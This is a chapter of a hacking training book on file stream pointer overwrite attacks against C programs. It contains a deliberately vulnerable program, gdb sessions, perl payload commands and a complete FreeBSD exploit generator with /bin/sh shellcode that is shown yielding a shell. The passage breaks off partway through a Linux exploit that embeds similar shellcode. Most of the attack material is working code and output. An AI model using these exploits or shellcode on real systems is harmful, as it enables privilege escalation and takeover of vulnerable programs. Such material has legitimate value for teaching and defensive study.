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Chapter 11 
 
 
File stream pointer overwrite attacks 
 
 
 
 
The increasing popularity of buffer overrun attacks contributed to their slow 
extinction. Programmers, supported by different kinds of tools to protect the 
stack against overwriting, are more careful when it comes to security than just 
a few years ago. It is therefore time to look for more sophisticated techniques 
to exploit errors that can open new routes of attack. 
 
Exploiting the file stream pointers 
 
One of these techniques uses the file stream pointer to start up the hacker’s 
own code. The reader has probably encountered this many times while 
programming in C. It is a standard language element that operates on files. 
The stream itself contains information about whether the file is open or 
closed, what its decryptor in the system is, etc. The programmer practically 
doesn’t have to know anything about the existence of the stream, as he 
receives only the pointer and a range of functions to perform on it. 
 
As it turns out, by overwriting only the FILE pointer we are able to take full 
control of susceptible programs. Let’s have a look at the following example 
(/CD/Chapter11/Listings/fso.c). 
 

 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        FILE *fd; char *name = argv[1]; 
        int len = atoi(argv[2]); char buf[1024]; 
         
        fd = fopen(name, "rb"); 
        if(!fd) exit(-1); 



File stream pointer overwrite attacks 190 

 

        fread( &buf, sizeof(char), len, fd); 
        fclose(fd); 
        return(0); 
} 

 
Our main task will be to cause the program to jump to the address we supply. 
In the example there is an error that should be immediately visible: 
 

 
The data regarding the value “len” are read into the buffer with a fixed size. 
The len variable is checked by the user by giving it in the second program 
parameter. The first program call parameter is the filename from which we 
must read the data. 
 
The program looks like the stack overflow example from the handbook. If we 
transfer more than 1024 bytes of data to the program it can overwrite the 
variables located in other memory areas. In our example these are the values 
transferred in the second argument, the pointer for the filename, the pointer 
to our file stream, and the stack frame. In order to start up the shellcode using 
it, we have to override the stack frame, which contains a copy of the EIP 
registers as well as EBP, which, after returning from the main() function, are 
located in the target registers. However, our program contains elements that 
can make using the existing error difficult. 
 
Between reading the data into the buffer and terminating the program, the 
file closure occurs; that is, the operation on the FILE pointer *fd, which we 
can override: 
 

 
The exploitation of the error in our text program can be made more difficult 
by this call. At the beginning we will check what happens when we transfer 
the filename to the program with a size of 1200 bytes: 
 

fread( &buf, sizeof(char), len, fd); 

fclose(fd); 

bash-2.05b$ ulimit -c unlimited 
bash-2.05b$ gcc -o fso fso.c 
bash-2.05b$ perl -e 'print "A"x1200' > file 
bash-2.05b$ ./fso file 1200 
Segmentation fault (core dumped) 
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As we can see, a core memory dump file has been generated. 
Let’s take a closer look: 
 

 
We have overwritten the file pointer with the value “AAAA.” The fclose() 
function caused a segmentation error by attempting to refer to its contents; 
this was an erroneous address that was not accessible to the process. Let’s 
think about how we can prevent this from happening. 
 
For the fclose() function to close without an error we have to transfer a 
pointer to the correct file structure to it. There are three files that the program 
opens by default upon starting up. These are the standard input (stdin), the 
standard output (stdout), and the standard output for errors (stderr). We can 
overwrite the FILE pointer with the address of one of these. As these are 
standard file streams, the fclose() function should terminate successfully 
simply by closing the indicated file. At the beginning we localize the address, 
such as stdin, by using gdb: 
 

 
Next, we repeat this enough times to overwrite the FILE pointer but without 
overwriting the stack frame (in this case 1040 bytes are sufficient). 
 

 
Next, we add the data with which we will overwrite the stack frame: 
 

bash-2.05b$ gdb fso core 
GNU gdb 6.3 
... 
Core was generated by `./fso file 1200'. 
Program terminated with signal 11, Segmentation fault. 
Reading symbols from /lib/tls/libc.so.6...done. 
Loaded symbols for /lib/tls/libc.so.6 
Reading symbols from /lib/ld-linux.so.2...done. 
Loaded symbols for /lib/ld-linux.so.2 
#0  0x40075497 in fclose () from /lib/tls/libc.so.6 
(gdb) info reg eax 
eax            0x41414141       1094795585 

(gdb) x/x stdin 
0xb7fcc420 <_IO_2_1_stdin_>:    0xfbad2088 
(gdb) quit 

bash-2.05b$ perl -e 'print "\x0\xc4\xfc\xb7"x260' > file 

bash-2.05b$ perl -e 'print "A"x20' >> file 



File stream pointer overwrite attacks 192 

 

Now we start up our test program, pointing to the target file: 
 

 
Let’s investigate the reasons why the program generated the memory 
discharge: 
 

 
We managed to jump to the target address, namely “AAAA.” The program 
went through the fclose() call and terminated the function with the return 
instruction. Because of this we can successfully take advantage of the error 
present in the program. 
 
This method can help with exploiting buffer overflow errors; however, it is 
not a new attack technique. In our example we omitted the program error in 
the fclose() function caused by overwriting of the file pointer and we allowed 
it to terminate the main() function, thanks to which we started up the 
shellcode. However, the FILE pointer in no way contributed to starting up the 
injected code. A detailed description of why the program wanted to jump to 
the given address can be found in the chapter on buffer overflow attacks. We 
shall now concentrate instead on the file stream pointer overwrite technique 
itself. 
 
We should notice that we were able to exploit this error only because of the 
return(0) instruction located at the end of the program. Without it, 
overwriting the stack frame would not do us any good.  
 

bash-2.05b$ ./fso file 1200 
Segmentation fault (core dumped) 

bash-2.05b$ gdb fso core 
GNU gdb 6.3 
… 
Core was generated by `./fso file 1200'. 
Program terminated with signal 11, Segmentation fault. 
Reading symbols from /lib/tls/libc.so.6...done. 
Loaded symbols for /lib/tls/libc.so.6 
Reading symbols from /lib/ld-linux.so.2...done. 
Loaded symbols for /lib/ld-linux.so.2 
#0  0x41414141 in ?? () 
(gdb) info reg eip 
eip            0x41414141       0x41414141 
(gdb)   
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To see for ourselves, let’s substitute return (0) with the exit(0) call 
(/CD/Chapter11/Listings/fso2.c): 
 

 
The above program differs from the first example only in the way it 
terminates the action. We cannot, however, use it in the way it was previously 
used. At the end, the program calls exit(0), by which it stops functioning. 
Let’s check this in our test file: 
 

 
The program successfully went through the calling of the fclose() function 
and terminated calling exit(), and thus did not generate a core file. The 
overwriting of the stack frame won’t allow a jump to a given address to be 
executed. We must thus find another way other than overwriting the stack 
frame in order to take over control of the executed program. The key to this 
can be calling fclose(), which gave us so much trouble earlier. 
 
File stream pointer exploitation 
 
It turns out that the performance of any operation on the file pointer, such as 
writing, reading, or closing, can lead to starting up the injected code. The file 
stream, like every pointer, points to some data. After calling the fopen() 

#include <stdio.h> 
 
int main(int argc, char *argv[]) 
{ 
        FILE *fd; 
        char *name = argv[1]; 
        int len = atoi(argv[2]); 
        char buf[1024]; 
         
        fd = fopen(name, "rb"); 
        if(!fd) exit(-1); 
         
        fread( &buf, sizeof(char), len, fd); 
        fclose(fd); 
         
        exit(0); 
} 

bash-2.05b$ perl -e 'print "\x20\xc4\xfc\xb7"x260' > file 
bash-2.05b$ perl -e 'print "A"x20' >> file 
bash-2.05b$ gcc -o fso2 fso2.c 
bash-2.05b$ ./fso2 file 1200 
bash-2.05b$ 
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function, it is allocated to an address of the file structure. Its appearance 
depends on its implementation. The main file structure looks slightly 
different on different systems. Its general purpose is to store information 
regarding the file, for example the current location or its decryptor. 
Differences between systems can cause certain problems with the use of the 
FSO technique (file stream overflow or file stream pointer overwrite). We will 
be forced to overwrite different exploits for specific systems. At the beginning 
we will dedicate ourselves to exploiting an error under the FreeBSD system. 
This is a slightly easier task than in Linux. 
 
Attacking FreeBSD 
 
FreeBSD is one of the most popular Unix variants. For years it has been 
considered to be one of the most secure networking systems. The number of 
errors found in it is only a fraction of the number found in Linux. It is often 
used to host the servers of big companies and networks that are concerned 
about security. It will be worth our while to discover how to use an error in a 
sample application running under FreeBSD. 
 
Our first task will be to localize the main FILE structure. Our program, 
written in C, uses the libc library for FreeBSD. The definition of the file 
structure should be located somewhere in its header files. Here the file 
“stdio.h” is found. Its name refers to its function: “standard input/output.” 
 
Let’s looks at the content of this file. 
 
bash-2.05b$ cat /usr/include/stdio.h 
... 
typedef struct __sFILE { 
        unsigned char *_p;      /* Current position in specific buffer  */ 
        int     _r;             /* read space left for getc() */ 
        int     _w;             /* write space left for putc() */ 
        short   _flags;         /* flags, below; this FILE is free if 0 */ 
        short   _file;          /* fileno, if Unix descriptor, else -1 */ 
        struct  __sbuf _bf;     /* the buffer (at least 1 byte, if !NULL) */ 
        int     _lbfsize;       /* 0 or -_bf._size, for inline putc */ 
 
        /* operations */ 
        void    *_cookie;       /* cookie passed to io functions */ 
        int     (*_close)(void *); 
        int     (*_read)(void *, char *, int); 



File stream pointer overwrite attacks 195 

 

 
        fpos_t  (*_seek)(void *, fpos_t, int); 
        int     (*_write)(void *, const char *, int); 
 
        /* separate buffer for long sequences of ungetc() */ 
        struct  __sbuf _ub;     /* ungetc buffer */ 
        struct __sFILEX *_extra; /* additions to FILE to not break ABI */ 
        int     _ur;            /*saved _r when _r is counting ungetc data */ 
        

 /* tricks to meet minimum requirements even when malloc() fails */ 
        unsigned char _ubuf[3]; /* guarantee an ungetc() buffer */ 
        unsigned char _nbuf[1]; /* guarantee a getc() buffer */ 
 
        /* separate buffer for fgetln() when line crosses buffer boundary */ 
        struct  __sbuf _lb;     /* buffer for fgetln() */ 
 
        /* Unix stdio files get aligned to block boundaries on fseek() */ 
        int _blksize;       /* stat.st_blksize (may be != _bf._size) */ 
        fpos_t  _offset;        /* current lseek offset */ 
} FILE; 
... 

 
 
The commentaries allow us to define the task of each field exactly. Our 
attention is drawn to the function pointers; that is, to the file operations: 
 

 
These are probably used when closing, reading, searching, and writing to the 
file. We cannot, however, be completely sure of this without checking. Let’s 
take a look at the libc library resources for FreeBSD, and more specifically, 
the fclose() function code: 
 

        /* operations */ 
        void     *_cookie;       /* cookie passed to io functions */ 
        int      (*_close)(void *); 
        int      (*_read)(void *, char *, int); 
        fpos_t (*_seek)(void *, fpos_t, int); 
        int      (*_write)(void *, const char *, int); 

bash-2.05b$ cat /usr/src/lib/libc/stdio/fclose.c 
int 
fclose(FILE *fp) 
{ 
        int r; 
 
        if (fp->_flags == 0) {  /* not open! */ 
                errno = EBADF; 
                return (EOF); 
        } 
        FLOCKFILE(fp); 
        r = fp->_flags & __SWR ? __sflush(fp) : 0; 
        if (fp->_close != NULL && (*fp->_close)(fp->_cookie) < 0) 
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                r = EOF; 
        if (fp->_flags & __SMBF) 
                free((char *)fp->_bf._base); 
        if (HASUB(fp)) 
                FREEUB(fp); 
        if (HASLB(fp)) 
                FREELB(fp); 
        fp->_file = -1; 
        fp->_r = fp->_w = 0;    /* Mess up if reaccessed. */ 
        fp->_flags = 0;         /* Release this FILE for reuse. */ 
        FUNLOCKFILE(fp); 
        return (r); 
} 
... 

 
By calling the fclose() function in the program, we execute instead the above 
function from the libc library (for FreeBSD). After performing some tests on 
the structure, it becomes visible: 
 

 
As expected, if the _close element is set, it is executed with the fp->_cookie 
parameter. This can be done when using the “return into libc” technique. 
However, we will take advantage of the error in the usual way. 
 
We know that by overwriting the appropriate fields in the FILE structure we 
can cause the function located under our address to be called. However, we 
do not have access to it. The fopen() function allocates a buffer for the 
structure of the file on the heap, while we can overwrite the stack. By 
overwriting the FILE pointer we can direct it to our buffer, which we will 
locate in the file. If the buffer is the right file structure, our program should 
behave as if it is closing any other file. 
 
The content of the file, whose name we will transfer to the program, should 
therefore look as follows: 
 

Buffer address, 
(the FILE structure) 

        if (fp->_close != NULL && (*fp->_close)(fp->_cookie) < 0) 
                r = EOF; 
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Shellcode 

Shellcode addresses 
Buffer beginning, 

(the FILE structure) 

 
 
Such a file will be read into the program buffer by using the fread() function. 
The shellcode addresses will be located at the bottom, so this will be our FILE 
structure. One of these addresses will overwrite the _close field in our fake file 
structure, thanks to which, by calling fclose(), we will perform a jump to the 
shellcode. We will locate our shellcode immediately under its addresses. At 
the very end of the file we put the address of the beginning of the buffer; or 
rather, that of the fake FILE structure. The FILE *fd pointer will be 
overwritten with exactly these addresses. 
 
Now all we have to do is generate a file containing suitable data using the 
exploit code (/CD/Chapter11/Listings/exploit-bsd.c): 
 
/* Exploit for FreeBSD systems */ 
 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
 
/* Name of created file */ 
#define FILENAME "exp_file" 
/* Buffer address */ 
#define BUFRET 0x41414141 
 
/* Shellcode for FreeBSD system */ 
char shellcode[] = 
   "\xeb\x26\x5e\x31\xc0\x38\x46\x07\x74\x18\x88\x46\x07\x89\x46\x0c" 
   "\x89\x76\x08\x8d\x46\x08\x31\xdb\x53\x50\x56\x56\x31\xc0\xb0\x3b" 
   "\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xd5\xff\xff\xff\x2f\x62\x69" 
   "\x6e\x2f\x73\x68\x58\x58\x58\x58\x58"; 
 
int main(int argc, char *argv[]) 
{ 
        int fd; 
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        char buf[1200]; 
        int *tmp = (int*)(buf); 
        int n; 
        /* Address of fake FILE structure, we have to know it */ 
        int fake_file_ret = BUFRET; 
        /* Shellcode address is located immediately after FILE structure */ 
        int shellcode_ret = fake_file_ret  + sizeof(FILE); 
         
        /* At the beginning we fill in the whole buffer with the address of  

the FILE fake structure*/ 
        for(n=0;n<1200-1;n+=4) 
                *tmp++ = fake_file_ret; 
 
        /* Then we fill in its beginning with shellcode addresses */ 
        tmp = (int*)(buf); 
        for(n=0;n<sizeof(FILE);n+=4) 
                *tmp++ = shellcode_ret; 
 
        /* And at the beginning we put shellcode itself */ 
        memcpy(tmp, shellcode, sizeof(shellcode)); 
         
      /* We are opening file, assigning appropirate rights and saving data */ 
        fd = open(FILENAME, O_CREAT | O_RDWR); 
        chmod(FILENAME, 0777); 
        write(fd, &buf, sizeof(buf)); 
        close(fd); 
        printf("%s file created!!\n", FILENAME); 
        return 0; 
} 

 
The buffer address that we put in the exploit is 0x41414141, defined as 
BUFRET. Of course, this is not its correct address. First we have to localize it. 
We can do this easily using gdb, compiling the program with the -g option 
and printing it during the program debugging. This could, however, be 
ineffective due to a difference in the environment of the program in gdb, or 
when starting up with the parameter as the target file. Put simply, the buffer 
address could differ from the one we obtain after starting up the exploit. It is 
thus better to add to our program the line: 
 

 
This will print the correct address on the screen immediately after creating 
the buffer. 
 
 
 
 

printf("%x\n", buf); 
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We will recompile our program and the exploit: 
 

 
Next we start up the exploit that will create the file we use for the attack: 
 

 
In this moment it is incorrect. It contains the wrong shellcode address due to 
the wrongly given address of the buffer. However, because of this we can 
discover the true address. We therefore start our test program with the 
necessary parameters: 
 

 
The program reports a segmentation error. Now we know the target address 
that we should use in our program to generate the file. Therefore we define it: 
 

 
We recompile the exploit code and generate the file once again: 
 

 
Now we check to see if the modified code will work: 
 

 
We have managed to start up the sh shell. If the program works under 
administrator privileges we, too, obtain these rights. The exploit’s code is not 
complicated; however, causing the attack itself and exploiting the FILE 

bash-2.05b$ gcc -o fso fso.c 
bash-2.05b$ gcc -o exploit-bsd exploit-bsd.c 

bash-2.05b$ ./exploit-bsd 
File exp_file created!! 

bash-2.05b$ ./fso exp_file 1200 
bfbfe874 
Segmentation fault (core dumped) 

#define BUFRET 0xbffff1c8 

bash-2.05b$ gcc -o exploit-bsd exploit-bsd.c 
bash-2.05b$ ./exploit-bsd 
File exp_file created!! 

bash-2.05b$ ./fso exp_file 1200 
bffff1c8 
$ id 
uid=1337(hax) gid=1001(user) groups=1001(user) 
$ exit 
bash-2.05b$ 
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pointer for starting up the injected code was certainly not an easy task. Now 
it’s time to apply what we have learned to the implementation for the Linux 
system. 
 
Attacking the Linux system 
 
As in case of FreeBSD, we have to localize the FILE structure at the beginning 
in order to discover which elements it contains. This time it is located in the 
header file “libio.h” (input/output library): 
 

         

bash-2.05b$ cat /usr/include/libio.h 
... 
struct _IO_FILE { 
        int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */ 
        #define _IO_file_flags _flags 
        /* The following pointers correspond to the C++ streambuf protocol. */ 
        /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ 
        char* _IO_read_ptr;   /* Current read pointer */ 
        char* _IO_read_end;   /* End of get area. */ 
        char* _IO_read_base;  /* Start of putback+get area. */ 
        char* _IO_write_base; /* Start of put area. */ 
        char* _IO_write_ptr;  /* Current put pointer. */ 
        char* _IO_write_end;  /* End of put area. */ 
        char* _IO_buf_base;   /* Start of reserve area. */ 
        char* _IO_buf_end;    /* End of reserve area. */ 
        /* The following fields are used to support backing up and undo. */ 
        char *_IO_save_base; /* Pointer to start of non-current get area. */ 
        char *_IO_backup_base;  /* Pointer to first valid character of backup area */ 
        char *_IO_save_end; /* Pointer to end of non-current get area. */ 
        struct _IO_marker *_markers; 
         
        struct _IO_FILE *_chain; 
         
        int _fileno; 
        int _flags2; 
        _IO_off_t _old_offset;/* This used to be _offset but it's too small*/ 
         
        #define __HAVE_COLUMN /* temporary */ 
        /* 1+column number of pbase(); 0 is unknown. */ 
        unsigned short _cur_column; 
        signed char _vtable_offset; 
        char _shortbuf[1]; 
         
        /*  char* _save_gptr;  char* _save_egptr; */ 
         
        _IO_lock_t *_lock; 
        #ifdef _IO_USE_OLD_IO_FILE 
}; 
... 
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As in the case of the FreeBSD implementation, here is the information 
necessary to perform operations on the file. The main element used in the 
previous example is, however, lacking – the function pointers. The 
overwriting of this structure will therefore bring no advantage to us. 
 
Indeed, viewing the system headers has not provided us with especially good 
results. But we won’t give up and will try to examine the structure using gdb. 
 
The program below will be useful for the search 
(/CD/Chapter11/Listings/test.c): 
 

 
The only thing the above program does is to close the standard input using 
fclose(). We will take a look at the stdin file structure and try to find elements 
in it that could help with performing the attack. 
  
We compile the program and start up gdb: 
 

 
Next we put a break at the beginning of the main() function. The standard 
input file will be created at this moment. 
 

 
We now start up the program: 
 

 

#include <stdio.h> 
 
int main() 
{ 
        fclose(stdin); 
        return 0; 
} 

bash-2.05b$ gcc -o test test.c 
bash-2.05b$ gdb test 

(gdb) break main 
Breakpoint 1 at 0x80483ea 

(gdb) r 
Starting program: /CD/Chapter11/Listings/test 
 
Breakpoint 1, 0x080483ea in main () 



File stream pointer overwrite attacks 202 

 

As we expected the program stopped functioning at the beginning of the 
main() function. Now we can examine the content of stdin. We will print, for 
example, 40 addresses starting from the beginning (that is, 160 bytes): 
 

 
At the very beginning the magic number 0xfbad2088, identifying the 
structure, appears. Next there are many zeros and some less important 
pointers. At the very end there is another address, that is: 
 

 
Its name can raise suspicions. The structure present in the libio.h file did not 
contain such a field type. Let’s therefore check what is located under the 
address 0xb7fcb9c0. 

(gdb) x/40a stdin 
0xb7fcc420 <_IO_2_1_stdin_>: 0xfbad2088 0x0 0x0 0x0 
0xb7fcc430 <_IO_2_1_stdin_+16>: 0x0 0x0 0x0 0x0 
0xb7fcc440 <_IO_2_1_stdin_+32>: 0x0 0x0 0x0 0x0 
0xb7fcc450 <_IO_2_1_stdin_+48>: 0x0 0x0 0x0 0x0 
0xb7fcc460 <_IO_2_1_stdin_+64>: 0xffffffff 0x0 0xb7fcd0a4 0xffffffff 
0xb7fcc470 <_IO_2_1_stdin_+80>: 0xffffffff 0x0 0xb7fcc600 <_IO_list_all+8> 0x0 
0xb7fcc480 <_IO_2_1_stdin_+96>: 0x0 0x0 0x0 0x0 
0xb7fcc490 <_IO_2_1_stdin_+112>: 0x0 0x0 0x0 0x0 
0xb7fcc4a0 <_IO_2_1_stdin_+128>: 0x0 0x0 0x0 0x0 
0xb7fcc4b0 <_IO_2_1_stdin_+144>: 0x0 0xb7fcb9c0 <_IO_file_jumps> 0x0 0x0  

0xb7fcb9c0 <_IO_file_jumps> 

(gdb) x/40a 0xb7fcb9c0 
0xb7fcb9c0 <_IO_file_jumps>: 0x0 0x0 0xb7f02e40 <_IO_file_fi nish> 0xb7f025d0 
<_IO_file_overfl ow> 
0xb7fcb9d0 <_IO_file_jumps+16>: 0xb7f03080 <_IO_file_underfl ow> 0xb7f03860 
<_IO_default_ufl ow> 0xb7f04700 <_IO_default_pbackfail> 0xb7f01bd0 <_IO_file_xsputn> 
0xb7fcb9e0 <_IO_file_jumps+32>: 0xb7f018b0 <_IO_file_seek+2080> 0xb7f01f70 
<_IO_file_seekoff> 0xb7f039a0 <_IO_sgetn+256> 0xb7f027d0 <_IO_file_setbuf> 
0xb7fcb9f0 <_IO_file_jumps+48>: 0xb7f024e0 <_IO_file_sync> 0xb7ef73e0 
<_IO_file_doallocate> 0xb7f01f30 <_IO_file_read> 0xb7f01de0 <_IO_file_write> 
0xb7fcba00 <_IO_file_jumps+64>: 0xb7f01090 <_IO_file_seek> 
0xb7f01e80 <_IO_file_close> 0xb7f01f00 <_IO_file_stat> 0xb7f042c0 
<_IO_unsave_markers+128> 
0xb7fcba10 <_IO_file_jumps+80>: 0xb7f042d0 <_IO_unsave_markers+144> 
0x0 0x0 0x0 
0xb7fcba20 <_IO_file_jumps+96>: 0x0 0x0 0xb7f02e40 <_IO_file_fi nish> 0xb7f025d0 
<_IO_file_overfl ow> 
0xb7fcba30 <_IO_file_jumps+112>: 0xb7f01860 <_IO_file_seek+2000> 0xb7f03860 
<_IO_default_ufl ow> 0xb7f04700 <_IO_default_pbackfail> 0xb7f01bd0 
<_IO_file_xsputn> 
0xb7fcba40 <_IO_file_jumps+128>: 0xb7f01740 <_IO_file_seek+1712> 
0xb7f00ed0 <_IO_file_attach+160> 0xb7f039a0 <_IO_sgetn+256> 0xb7f02840 
<_IO_file_setbuf+112> 
0xb7fcba50 <_IO_file_jumps+144>: 0xb7f010d0 <_IO_file_seek+64> 0xb7ef73e0 
<_IO_file_doallocate> 0xb7f01f30 <_IO_file_read> 0xb7f01de0 <_IO_file_write> 
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The result returned by gdb is long and difficult to interpret. However, we see 
many addresses with interesting names, for example: 
 

 
We will now check what there is under this address, this time using disass: 
 

0xb7f01e80 <_IO_file_close> 

(gdb) disas 0xb7f01e80 
Dump of assembler code for function _IO_file_close: 
0xb7f01e80 <_IO_file_close+0>:  push  %ebp 
0xb7f01e81 <_IO_file_close+1>:  mov  %esp,%ebp 
0xb7f01e83 <_IO_file_close+3>:  sub  $0x4,%esp 
0xb7f01e86 <_IO_file_close+6>:  mov  0x8(%ebp),%eax 
0xb7f01e89 <_IO_file_close+9>:  mov  0x38(%eax),%eax 
0xb7f01e8c <_IO_file_close+12>:  mov  %eax,(%esp) 
0xb7f01e8f <_IO_file_close+15>:  call  0xb7f5da7a <close+10> 
0xb7f01e94 <_IO_file_close+20>:  leave 
0xb7f01e95 <_IO_file_close+21>:  ret 
0xb7f01e96 <_IO_file_close+22>:  lea  0x0(%esi),%esi 
0xb7f01e99 <_IO_file_close+25>:  lea  0x0(%edi),%edi 
0xb7f01ea0 <_IO_file_close+32>:  push  %ebp 
0xb7f01ea1 <_IO_file_close+33>:  mov  %esp,%ebp 
0xb7f01ea3 <_IO_file_close+35>:  sub  $0x10,%esp 
0xb7f01ea6 <_IO_file_close+38>:  mov  %esi,0xfffffffc(%ebp) 
0xb7f01ea9 <_IO_file_close+41>:  mov  0x8(%ebp),%esi 
0xb7f01eac <_IO_file_close+44>:  mov  %ebx,0xfffffff8(%ebp) 
0xb7f01eaf <_IO_file_close+47>:  call  0xb7eb85a0 
0xb7f01eb4 <_IO_file_close+52>:  add  $0xca140,%ebx 
0xb7f01eba <_IO_file_close+58>:  mov  0x1c(%esi),%edx 
0xb7f01ebd <_IO_file_close+61>:  mov  0x20(%esi),%eax 
0xb7f01ec0 <_IO_file_close+64>:  mov  %edx,(%esp) 
0xb7f01ec3 <_IO_file_close+67>:  sub  %edx,%eax 
0xb7f01ec5 <_IO_file_close+69>:  mov  %eax,0x4(%esp) 
0xb7f01ec9 <_IO_file_close+73>:  call  0xb7f6a0d0 <munmap> 
0xb7f01ece <_IO_file_close+78>:  mov  0x38(%esi),%eax 
0xb7f01ed1 <_IO_file_close+81>:  movl  $0x0,0x20(%esi) 
0xb7f01ed8 <_IO_file_close+88>:  movl  $0x0,0x1c(%esi) 
0xb7f01edf <_IO_file_close+95>:  mov  %eax,(%esp) 
0xb7f01ee2 <_IO_file_close+98>:  call  0xb7f5da7a <close+10> 
0xb7f01ee7 <_IO_file_close+103>: mov  0xfffffff8(%ebp),%ebx 
0xb7f01eea <_IO_file_close+106>: mov  0xfffffffc(%ebp),%esi 
0xb7f01eed <_IO_file_close+109>: mov  %ebp,%esp 
0xb7f01eef <_IO_file_close+111>: pop  %ebp 
0xb7f01ef0 <_IO_file_close+112>: ret 
0xb7f01ef1 <_IO_file_close+113>: jmp  0xb7f01f00 <_IO_file_stat> 
0xb7f01ef3 <_IO_file_close+115>: nop  
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It turns out that it is the function calling close() in its body: 
 

 
Its parameter is most probably the file decryptor. We can guess what the 
pointers we found are used for. We will now try to overwrite the address 
_IO_file_close located in _IO_file_jumps with our address – for example 
0x41414141.  
 

 
This entry is located exactly at 0xb7fcba04: 
 

 
To write our address we will use the “set” command: 
 

 
A modified entry can now be found in _IO_file_jumps. Therefore we resume 
the program function: 
 

 
The result is not a surprise for us. The fclose() function called the library 
function _IO_file_close, whose address was located in _IO_file_jumps. The 
program performed a jump to this address, which caused a segmentation 
error. But what is the mysterious _IO_file_jumps? Browsing through libio.h 

0xb7f01e8f <_IO_file_close+15>: call   0xb7f5da7a <close+10> 

(gdb) x 0xb7fcba00 
0xb7fcba00 <_IO_file_jumps+64>: 0xb7f01090 <_IO_file_seek> 
(gdb) x 0xb7fcba01 
0xb7fcba01 <_IO_file_jumps+65>: 0x80b7f010 
(gdb) x 0xb7fcba02 
0xb7fcba02 <_IO_file_jumps+66>: 0x1e80b7f0 
(gdb) x 0xb7fcba03 
0xb7fcba03 <_IO_file_jumps+67>: 0xf01e80b7 
(gdb) x 0xb7fcba04 
0xb7fcba04 <_IO_file_jumps+68>: 0xb7f01e80 <_IO_file_close> 

(gdb) x 0xb7fcba04 
0xb7fcba04 <_IO_file_jumps+68>: 0xb7f01e80 <_IO_file_close> 

(gdb) set *0xb7fcba04 = 0x41414141 

(gdb) c 
Continuing. 
 
Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 
(gdb) 
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we haven’t found anything similar. The answer is hidden in the resources of 
the libc library. 
 
The Linux system uses the glibc library as the standard library for the C 
language. The operation of file streams is implemented in this library. The 
page on which we find out more about this library is: 
 

 
The information we are interested in can be found in the libioP.h file. If you 
have manually downloaded the latest version of the sources, this file is located 
in a libio subdirectory. We may also use the file attached to the Training 
Operating System (/CD/Chapter11/Listings/libioP.h). 
 

 

http://www.gnu.org/software/libc/libc.html 

bash-2.05b$ cat libio/libioP.h 
... 
struct _IO_jump_t 
{ 
        JUMP_FIELD(_G_size_t, __dummy); 
        JUMP_FIELD(_IO_finish_t, __finish); 
        JUMP_FIELD(_IO_overflow_t, __overflow); 
        JUMP_FIELD(_IO_underflow_t, __underflow); 
        JUMP_FIELD(_IO_underflow_t, __uflow); 
        JUMP_FIELD(_IO_pbackfail_t, __pbackfail); 
        JUMP_FIELD(_IO_xsputn_t, __xsputn); 
        JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 
        JUMP_FIELD(_IO_seekoff_t, __seekoff); 
        JUMP_FIELD(_IO_seekpos_t, __seekpos); 
        JUMP_FIELD(_IO_setbuf_t, __setbuf); 
        JUMP_FIELD(_IO_sync_t, __sync); 
        JUMP_FIELD(_IO_doallocate_t, __doallocate); 
        JUMP_FIELD(_IO_read_t, __read); 
        JUMP_FIELD(_IO_write_t, __write); 
        JUMP_FIELD(_IO_seek_t, __seek); 
        JUMP_FIELD(_IO_close_t, __close); 
        JUMP_FIELD(_IO_stat_t, __stat); 
        JUMP_FIELD(_IO_showmanyc_t, __showmanyc); 
        JUMP_FIELD(_IO_imbue_t, __imbue); 
}; 
... 
struct _IO_FILE_plus 
{ 
        _IO_FILE file; 
        const struct _IO_jump_t *vtable; 
}; 
... 
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From the commentaries we discover that in reality the glibc library allocates 
the _IO_FILE_plus structure to the file. It contains a standard _IO_FILE 
structure from the libio.h file and another value that is the pointer to the 
_IO_jump_t structure. We found exactly this pointer at the very end of the 
analysis by printing 160 bytes with stdin. As we can see, the _IO_jump_t 
structure contains pointers to the functions responsible for the operations on 
files. Our attack will therefore look similar to the attack performed in the 
FreeBSD system. Our fake FILE structure (and in reality _OI_FILE_plus) will, 
however, be slightly more complicated. 
 
Let’s stop and think what our file should look like. We have to put the 
following elements into it: 
 

Our buffer address, 
(the FILE structure) 

Shellcode 

Table with pointers 
to shellcode 

Address of the table 
containing relevant 

pointers to the shellcode 

Fake FILE structure 
 
A real file should be the fake FILE structure. It is important because if the 
program finds wrong data there, it can terminate the action with an error 
before the necessary function has been called from the pointer table. We fill 
in the beginning of the buffer, which we will write into the file, in the 
following way: 
 

 
As we can see, we copy the content of stdin, which is the correct file. There 
shouldn’t therefore be any problem with closing it. The next fields depend on 

memcpy(buf, stdin, sizeof(FILE)); 
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the main address of the buffer, which we will have to discover, as in the case 
of the attack on FreeBSD. 
 
Below is the exploit code for the Linux system, which creates the file used 
during the attack (/CD/Chapter11/Listings/exploit.c): 
 

 

/* File stream pointer overwrite example */ 
/* Damian Put <pucik@overflow.pl>    */ 
 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
 
/* Name of created file */ 
#define FILENAME "exp_file" 
/* Buffer address */ 
#define BUFRET 0x41414141 
 
/* Standard shellcode for linux system */ 
char shellcode[] = 
        "\x31\xc0"                 /* xorl %eax,%eax */ 
        "\x50"                     /* pushl %eax         */ 
        "\x68\x2f\x2f\x73\x68"     /* pushl $0x68732f2f  */ 
        "\x68\x2f\x62\x69\x6e"     /* pushl $0x6e69622f  */ 
        "\x89\xe3"                 /* movl  %esp,%ebx    */ 
        "\x50"                     /* pushl %eax         */ 
        "\x53"                     /* pushl %ebx         */ 
        "\x89\xe1"                 /* movl  %esp,%ecx    */ 
        "\x31\xd2"                 /* xorl  %edx,%edx    */ 
        "\xb0\x0b"                 /* movb $0xb,%al     */ 
        "\xcd\x80";                /* int   $0x80        */ 
 
char buf[1200]; 
      
int main(int argc, char *argv[]) 
{ 
        int fd; 
        int *tmp = (int*)(buf); 
        int n; 
// Address of my_data.buf, that is our fake FILE structure, the only one we  
// have to know 
        int fake_file_ret = BUFRET; 
// Value of pointer pointing on the table of FILE - +4 function, that is  
// immediately after it 
        int file_table_ret = fake_file_ret + sizeof(FILE) + 4; 
        /* Address of our shellcode. Assuming it will be 160 bytes behind table */ 
        int shellcode_ret = file_table_ret  + 160; 
         
